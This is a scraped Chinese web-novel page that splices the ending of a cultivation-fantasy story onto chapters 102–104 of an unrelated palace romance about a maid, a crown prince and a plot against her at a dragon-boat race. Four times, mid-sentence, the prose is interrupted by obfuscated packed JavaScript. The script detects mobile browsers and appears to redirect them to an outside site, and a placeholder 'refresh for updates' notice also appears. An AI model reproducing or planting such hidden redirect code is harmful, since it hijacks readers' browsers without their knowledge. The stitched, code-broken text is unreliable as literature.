见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672396|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第102章 沉尸湖底 安小月话未说完,萧衍忽然抬手,指尖轻轻按住她的红唇。 他低声道,“三日后,龙舟赛上,孤会告诉你一切。” 他顿了顿,语气不容置喙。 “现在,回去,孤让人跟着。” 安小月怔怔看着他,终究是退让了,点了点头,“诺,那奴……等着殿下。” 萧泽回到马车上,脸色阴沉。 对老太监道,“去告诉安欢颜,龙舟赛上按计划行事,本皇子得不到的,他也别想得到!” 老太监只觉得冒险,有心想劝,奈何六皇子压根听不进去。 只得把消息送出去,同时打算面见皇后娘娘告知此事。 而安欢颜收到消息已是一个时辰后,她谎称身子不爽,连夜叫来王氏。 二人屏退左右,在无人的内室低声商议。 王氏早就听说了巧手节上的事情,气得咬牙切齿。 “那小**如今有太子撑腰,越发猖狂了,竟敢抢你的位置,只怕这魁首之名也有水分!” 安欢颜眼底翻涌着不甘。 “既然这次不能拖六皇子下水,那我们就借他的刀!” 她压低声音,附在王氏耳边道,“龙舟赛那日,人多眼杂,若安小月不慎落水,再被外男所救……” 王氏眸光一亮,阴毒笑道,“到时众目睽睽,她衣衫不整与外男纠缠,清白尽毁,太子岂会再要她?” 安欢颜满意点头,又狠心补充,“若计划有变,就直接让她沉尸河底!” 再留她在太子府,只会对她们不利。 王氏重重点头。 “她没了价值,皇后娘娘只会放弃她,到那时我们再送个好拿捏的进去,事成以后也好解决。” 听到母亲还没放弃要送人替她试婚的想法,安欢颜不由得感到一阵烦躁。 当初她们觉得安小月好拿捏,可如今呢? 那两个非但动不了,就连皇后也偏心她! “到时候再说。”安欢颜敷衍道,“皇后娘娘允我当日和太子同乘龙舟,母亲,我要狠狠把安小月踩下去!” 王氏眼中满是骄傲与得意,伸手替她理了理鬓边的珠钗。 “我的女儿,自然该是这天下最尊贵的女子!她安小月算什么东西?也配与你争辉?” 她冷笑一声,从袖中取出一只锦盒,轻轻打开。 盒中是一对华美至极的耳坠,金丝掐丝紫珠,价值连城。 “这是娘特意为你准备的,龙舟赛那日,你戴上这个,必定艳压群芳!” 安欢颜眼中闪过一丝亮光,迫不及待地抚过耳坠。 “还是娘疼我。” 王氏眯了眯眼,阴恻恻道,“不仅如此,娘还替你打点好了,龙舟赛上,所有人的目光都会聚焦在你身上,至于安小月……” 她冷哼一声。 “一个粗鄙婢女,能有什么华贵衣裳?到时候,自有法子让她出丑,再送她**!” 安欢颜红唇微勾,眸光如毒蛇般冰冷。 “我要让她在所有人面前,彻底沦为笑话!” 窗外,一道黑影悄然掠过,已将一切尽收耳中。 安小月回到太子府后,便没再主动寻太子。 她压下心中纷乱,只安静待在院中,不再多问。 翌日清晨,苏德抽空回了趟太子府,还领着一位面容肃穆的老嬷嬷进了安小月的院子。 苏德笑眯眯道,“安姑娘,这位是宫里的徐嬷嬷,专司贵女礼仪教导,殿下吩咐,龙舟赛上您需以巧手魁首的身份出席,礼仪需再精进些。” 徐嬷嬷不苟言笑,目光如尺般上下打量安小月,微微颔首。 “老身奉太子殿下之命,特来为姑娘施教,三日虽短,但姑娘若用心,必不会失礼于人前。” 安小月福身行礼,“劳烦嬷嬷了。” 太子连这都安排好了…… 她心中微暖,却也隐隐察觉龙舟赛上,恐怕不会太平。 接下来的两日,安小月几乎足不出户,跟着徐嬷嬷苦练。 行止坐卧,宴饮礼节。 徐嬷嬷虽严厉,却偶尔目露赞许。 还曾私下对苏德道,“这丫头骨子里有股韧劲,倒不似寻常闺秀娇气。” 然而这些安小月却不知情,她看着徐嬷嬷的冷脸,只比先前更加用功。 另一边,王嬷嬷则忙前忙后,为安小月张罗龙舟宴的行头。 这日傍晚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681656|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她捧着一件华美的水蓝色银纹襦裙回来,眼中满是期待。 “姑娘,这布料是殿下托苏公公转交老奴的,又找了五位绣娘连日赶制的,姑娘穿上,必定光彩照人!” 安小月接过衣裳,触手柔软如水,绣纹精致,连徐嬷嬷见了都点头称赞。 “料子上乘,做工也精细,王嬷嬷有心了。” 王嬷嬷笑得眼角的皱纹都舒展开来。 低声对安小月道,“姑娘,老奴盼着您飞上枝头,今后不再受人欺辱。” 安小月心头一热,握住王嬷嬷的手。 “嬷嬷放心,我不会辜负您的期望。” 更深露重,夜色沉沉。 安小月倚在窗边,毫无睡意。 她微微出神,思绪纷乱。 明日龙舟赛,太子究竟要同她说什么? 难道是要纳她为妾? 正心惊,院外忽有脚步声传来,急促而迅速,紧接着,王嬷嬷低低的嗓音在夜色中格外清晰。 “姑娘,殿下回府了。” 安小月指尖一顿,心跳蓦地快了几分。 他回来了! 脑子还没反应过来,可脚步却已不由自主地迈了出去。 玉庆宫的廊下,萧衍正靠在藤椅上闭目养神。 夜风微凉,带起一缕若有若无的檀香。 安小月放轻脚步走近,在离他三步远的地方停下,福身行礼,“殿下。” 萧衍未睁眼,只淡淡“嗯”了一声。 “这么晚还不歇着?” 他的嗓音低沉,带着一丝倦意,却莫名让她心头微颤。 安小月低声道,“听闻殿下回府,奴特来伺候。” 萧衍敏锐察觉到她语气中那几不可察的雀跃。 他终于睁开眼,目光落在她清亮的眼眸上,唇角微不可察地扬了扬。 “过来。” 安小月乖顺地上前,却听他道,“替孤按一按肩。” 安小月一怔,随即想起自己曾因按摩手艺被他夸赞过,为此还惹来了六皇子。 不过当初怀着勾引他的心思,和如今的心境大不相同。 她抿了抿唇,缓步上前,指尖轻轻搭上他的肩膀。 第103章 人** 指尖触及的瞬间,仿佛有炙热的温度透过薄薄的布料传来,灼得她指尖微微发烫。 安小月不敢用力,只小心翼翼地揉按着他的肩颈,力道恰到好处。 萧衍闭着眼,任由她的手在肩颈处游走,忽然开口,“明日龙舟赛,怕吗?” 她手上动作未停,声音轻却坚定,“有殿下在,奴不怕。” 萧衍倏地睁开眼,侧头看她。 月光下,她低眉顺目,可眼角眉梢却藏着一丝他熟悉的倔强。 萧衍忽然抬手,一把握住她的手腕。 “安小月,你当真信孤?” 她呼吸一滞,却仰头直视他的眼睛。 “信。” 一字千金。 萧衍凝视她许久,终于松开手,重新靠回椅背,闭眸低笑一声,“好,那明日,孤让你看场好戏。” 廊外阴影处,苏德无声退下。 明日之后,这京城的天,怕是真的要变了。 而更远的相府内,安欢颜正对镜试戴金钗,笑得胸有成竹。 “安小月,我倒要看看,这次你拿什么跟我争?” 次日清晨,因着要出门,安小月怕耽误大事,破天荒比平时早起了半个时辰。 她端坐在铜镜前,王嬷嬷正为她挽起最后一缕青丝。 铜镜中映出的女子姣好脸庞,一支素银簪子随着她的动作在晨光中流转着细碎的光芒。 “姑娘今日定要小心行事。”王嬷嬷将一枚五彩络子系在安小月腰间,低声叮嘱,“龙舟赛上贵女如云,但姑娘只需记得,您是太子殿下亲点的巧手魁首。” 安小月轻轻颔首。 她要的只是一个光明正大站在太子身边的机会,至于其他的,现在还不是时候。 “该出门了。”王嬷嬷为她披上薄披风,眼中满是欣慰,“姑娘今日真好看。” 一刻钟后,萧衍收拾妥当,正在玉庆宫门口与苏德交代事宜,忽闻脚步声传来。 他转身的瞬间,恰好安小月踏着阳光走来。 那袭水蓝衣裙衬得她肤若凝脂,腰间吉祥络随着她的步伐轻轻摇曳。 最令人惊异的是她周身的气度,不卑不亢,从容自若。 哪里还有半分昔日那个两面三刀,偶然行事放荡的婢女模样? 萧衍的目光在她身上停留得比往常久了些。 他见过她穿宫装的朴素,也见过她勾人时的妖媚,却从未见过这般优雅娴静的模样。 “殿下。”安小月福身行礼,故意冲他眨了眨眼睛。 “起来吧。” 他的声音比平日低沉三分,“今日……” 话未说完,远处传来龙舟赛的号角声。 安小月抬眸,正对上太子深邃的目光。 “该出发了。”萧衍收回目光,转身时唇角几不可察地扬起,“今日,跟紧孤。” 御河两岸彩旗招展,观赛的亭台早已座无虚席。 安小月跟在太子身后半步之遥,能清晰感受到四面八方投来的探究目光。 “那就是太子殿下亲点的巧手魁首?” “瞧着倒有几分气度……” “不过是婢女出身,也配与贵女同席?” 细碎的议论声飘进耳中,安小月神色未变,只是将背脊挺得更直。 她没注意到,走在前方的太子脚步微顿,冷冷扫过议论声传来的方向,那些私语立刻戛然而止。 “安姑娘,这边请。” 苏德引她入座,位置竟安排在太子下首,这个安排引得席间又是一阵骚动。 安小月刚坐下,就看见对面安欢颜嫉恨的目光。 她今日盛装华服,大红色底衬,金线绣的牡丹在阳光下刺目得很,或许是因为神情憔悴,莫名显得艳俗。 “一个婢女出身,也配坐在太子殿下身边?” “听说她不过是靠些小聪明得了殿下青眼……” “相府嫡女竟被个婢女压了一头,真是笑话。” 细碎的议论声不断传来,安欢颜攥紧了手中的帕子,指甲几乎要掐进掌心。 她死死盯着安小月,眼中妒火几乎要烧出来。 凭什么? 一个贱婢也配抢她的风头? 她忽然冷笑一声,转头对身旁的侍女低语几句。 侍女点头,悄然退下。 宴会进行至高潮,苏德却匆匆而来。 低声禀报,“殿下,您前日批阅的北境军报被墨水污了,李大人要得急。” 萧衍眉头一皱,怎么会出这种事? 但北境军情紧急,耽搁不得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681657|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他起身,对安小月叮嘱,“你在此等候,孤让赵忠留下来,不要乱跑。” 安小月垂首应是,右眼却连着跳了好几下。 她独自一人出席这种盛大场合,难免紧张,幸好赵忠就在不远处守护。 又悄无声息地缓缓吐了口气,努力放松下来。 太子刚离席,安欢颜便勾起唇角。 机会来了。 没过一会儿,一名小太监慌张跑来。 “安姑娘!太子殿下让您立刻回太子府取《北境舆图》!” 安小月警觉,“殿下刚走,为何不直接吩咐苏公公?再说赵大人也在,何必来找我?” 小太监急道,“我还能诓你不成?苏公公在伺候笔墨,赵大人还要维持秩序,没人能比姑娘熟悉太子府,务必快去,殿下急用!” 安小月心中生疑,但不知想到了什么,只能作出为难神色,匆匆离席。 她下了观景台,绕过人群去寻太子府的马车。 只是刚拐入无人廊下,便被人从背后用力推了一把,径直跌进旁边厢房。 门又被猛地关上! 安小月大惊失色,转身推门,却纹丝不动。 有人锁了门! 突然,书架后转出一个高壮汉子,络腮胡,三白眼,浑身充满了煞气。 他眼神阴鸷,“姑娘,别挣扎了。” 安小月立刻转身,脊背紧贴房门,冷声呵斥,“大胆!我是太子府的人!谁派你来的?” 汉子狞笑,“重要么?要怪就怪你得罪了不该得罪的人。” 他突然扑来,安小月慌忙之间,抄起倚在门后的门闩砸去,却被一把扣住手腕! 千钧一发之际,“砰”一声。 年久失修的窗棂碎裂,一道黑影凌空翻入,寒光一闪,汉子惨叫倒地! 赵忠持剑而立,眼神如刀,“敢动太子府的人,找死!” 他说着转身看向安小月,飞快地打量一眼,又避嫌移开视线。 “安姑娘,你没事吧?” 安小月杏眸瞪得溜圆,依旧惊魂未定。 她朝地上的人看了一眼,咽了咽口水,“人……**?” “没有。”赵忠见她强装镇定的样子,眼底闪过一丝笑意,“吓晕了,得带回去审问。” 第104章 有法子让你张嘴 “好,好。” 安小月还是头一次见赵忠动手,吓得两腿发软,不敢直视他的眼睛。 赵忠后知后觉,终于察觉到她的异常,眼神稍暗,俯身拽住那人的衣领。 “姑娘稍微歇会儿,我把人送出去再护送姑娘回去。” 安小月忙不迭点头。 片刻后,安小月随赵忠返回宴席。 她虽在厢房里整理过衣襟,但一路走来,却把手里的帕子绞得死死的。 只要稍微仔细点,就能发现她的异常。 萧衍不知何时也回来了,见她脸色苍白,眸色骤然变冷,“怎么回事?” 赵忠低语几句,萧衍眼底杀意翻涌,突然起身。 “龙舟竞渡开始,登船!” 众人愕然。 按礼制,贵女们本该先乘画舫观赛,再登龙舟祈福。 可今年殿下却如此着急,脸色看着也难看。 众人窃窃私语,难不成又出了什么事…… 四周的议论声传来,安欢颜这才从惊愕当中回过神。 她的理智方才已经随着安小月安全无虞回来而全数崩溃,正在思考是哪里出了问题,却听到太子要登船了! 她旋即扯出一抹笑颜,几乎是迫不及待冲向太子龙舟,“殿下,臣女陪您……” 萧衍冷眼一扫,“滚下去。” 安欢颜僵住,喃喃道,“可是,臣女是未来太子妃,皇后娘娘已经应了……” 萧衍嗤笑,“孤可曾答应过你?等你真成了太子妃,再跟孤谈资格。” 说罢挥手让侍卫将她拖走。 安欢颜失声尖叫,“殿下,我才是太子妃!殿下,殿下……” 最终,安欢颜没能如愿登上太子的龙舟。 在众人或艳羡或嫉恨的目光中,太子只带了自己的贴身侍卫和安小月登船。 精致贵气的御舟划开碧波,在阳光下破浪而去,徒留岸边一片低声议论。 清风拂面,水波粼粼。 萧衍负手立于船头,他侧眸看向安小月,黑脸道,“方才出了什么事?” 安小月低眉,将遇袭之事一五一十道来。 说到最后,她微微咬唇,终究还是大着胆子补了一句。 “那人显然是冲着奴来的,可若奴真在路上出了事,旁人未必不会借机攀扯殿下,说您治下不严,甚至……甚至借着奴的幌子,污您清誉。” 那人分明是奔着毁了她清白来的! 她若被贼子玷污,太子脸上岂能有光? 她顿了顿,声音轻却坚定,“此计实在狠毒,不仅想要奴的命,还想拉殿下下水。” 萧衍闻言,眸色微深,却只是淡淡瞥她一眼。 “你不必激孤。” 他指尖在船舷上轻轻一叩,语气平静得近乎危险,“这事孤自有计较。” 湖面粼粼波光映在他眼底,冰冷一闪而过。 半晌后,萧衍忽而问道,“你可有怀疑的人?” 安小月略一迟疑,低声道,“若论明面上的恩怨,安大小姐对奴不满已久,这次奴夺了魁首,抢了她陪同殿下登舟的资格,她心中不忿,想要报复也是有可能的。” 她顿了顿,又谨慎地补充,“不过,此事并无实证,奴也不敢妄下定论。” 她悄悄抬眼,见太子神色莫测,又迅速垂下眼帘。 心中却忍不住思忖,或许还有可能是六皇子所为? 毕竟六皇子一向对太子之位虎视眈眈。 若能在今日这样的场合制造混乱,甚至借机败坏太子的名声,未必不是他的手段。 更重要的是,六皇子对她多少抱着几分得不到也要毁灭的恶毒心理。 可这话她终究没敢说出口,涉及皇位之争,稍有不慎,便是祸从口出。 萧衍唇角微勾,似笑非笑地瞥她一眼,“你倒是脸皮厚,觉得自己有资格让人这般大费周章?” 安小月耳尖微热,却仍低眉顺眼道,“奴不敢,只是安大小姐素来骄傲,这段时日在众目睽睽之下失了几次颜面,若一时冲动,也未可知。” “况且……” “说下去。”萧衍目光微沉。 安小月指尖无意识地攥紧袖口,没敢提六皇子,只低声道,“奴只是觉得,殿下身边未必人人都盼着殿下顺遂。” 萧衍忽然轻笑一声,那笑意却未达眼底。 “你倒是通透,可惜……说的太多了。” 安小月急忙闭了嘴。 萧衍轻哼一声,转身望向远处,语气淡漠,“安欢颜没这个本事在孤眼皮底下动手脚,除了她,另有其人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 